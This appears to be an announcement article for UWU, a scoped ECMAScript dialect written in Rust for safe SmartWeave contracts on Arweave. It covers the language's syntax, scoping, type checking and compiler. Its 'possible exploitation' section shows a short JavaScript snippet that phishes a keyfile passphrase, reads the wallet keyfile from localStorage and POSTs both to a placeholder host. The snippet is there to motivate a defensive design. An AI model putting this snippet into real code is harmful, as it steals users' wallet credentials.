UWU, A New Safe Language For Writing Smartweave Contracts!

The Verto Protocol team showcased a new safe language for writing SmartWeave contracts called UWU in a live stream on Discord today. The live stream included a build of a simple NFT contract.

What is SmartWeave?

Smartweave is a smart contract protocol, enabling computation-heavy dApps on top of the Arweave network. SmartWeave uses the AR token to enable developers to build all types of smart contract applications using Javascript. More informations about smarweave.

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Smart contract interactions are placed inside Arweave blocks, then evaluated and verified by users during interaction.

What is UWU? And how it works?

uwu transpiles to safe and pluggable code.

  • Subset of ECMAScript (similar syntax).
  • Strictly scoped.
  • Robust error messages. (codespan_diagnostics)

the situation

possible exploitation

const paraphrase = prompt(“To proceed enter your keyfile 

paraphrase”); // because why not

const keyfile = localStorage.getItem(“keyfile”); // uh oh!

await fetch(`x.x.x.x:80`, {

  method: “POST”,

  body: JSON.stringify({ paraphrase, keyfile }),


possible solutions

  1. “Try” sandboxing

Use a remote execution server (uh no…centralised) – Piston

`delete` APIs from context (uh no…that’s bodge)

Static code analysis (hmm..ok?) – nestdotland/analyzer

Runtime injections (uh let’s try) – littledivy/deno_iroh.js

  1. Don’t “try” sandboxing

        Just create your own dialect of ECMAScript with on-the-fly compilation.

uwu is written in Rust.

  • Memory safety and speed.
  • Compiles to WASM for direct usage on web.
  • Available as a Rust crate for embedding purposes.

uwu is easy to learn.

  • Straightforward syntax that covers important ECMAScript fundamentals.

let a = 1

let b = 2

fn add(x, y):

  return x + y


add(1, 2)

uwu is scoped.

  • Scoped by default. Nothing is accessible unless given permission to do so. The following code will not compile:

let jwk = localStorage.getItem(“keyfile”);

# Most dApps store keyfile in the localStorage of the 

# browser. 

# It can be easily extracted by any external source 

# running on the same

# website (for eg: A smartweave contract)

  • Optional type checking. (default=false, experimental=true)

let pi = 3.14

pi = “a string” # compiler error

uwu integrates well

  • The compiler is available as a standalone javascript library, a rust crate and a command line application.

import compile from “@useverto/uwu”;

const [js, diagnostics] = compile(“1 + 1”);

Track library development here:

uwu produces friendly errors

  • Robust error messages.

error: no item named `localStorage` found in scope.

–> test.uwu:1:11


 1  | localStorage[“getItem”](“apiKey”)

    | — associated item `localStorage` is not declared

uwu internals

uwu cli

  • Command line application for compiling .uwu source files.

 Future plans:

  • .uwurc for configuring the compiler

uwu compiler configuration

Customize how the compiler behaves.

// PS: Compiler configuration is not yet implemented. This is a rough idea of 

//     how it will be.

// Create a scope and declare externs

let scope = Scope::new(vec![(“parseInt”, type::Function)]);

let ast = Parser::new(Lexer::new(“parseInt()”)).parse()?;

// Create a compiler instance with source ast and scope.

let compiler = Compiler::new(ast, scope);


uwu is open source 

A th8ta project.

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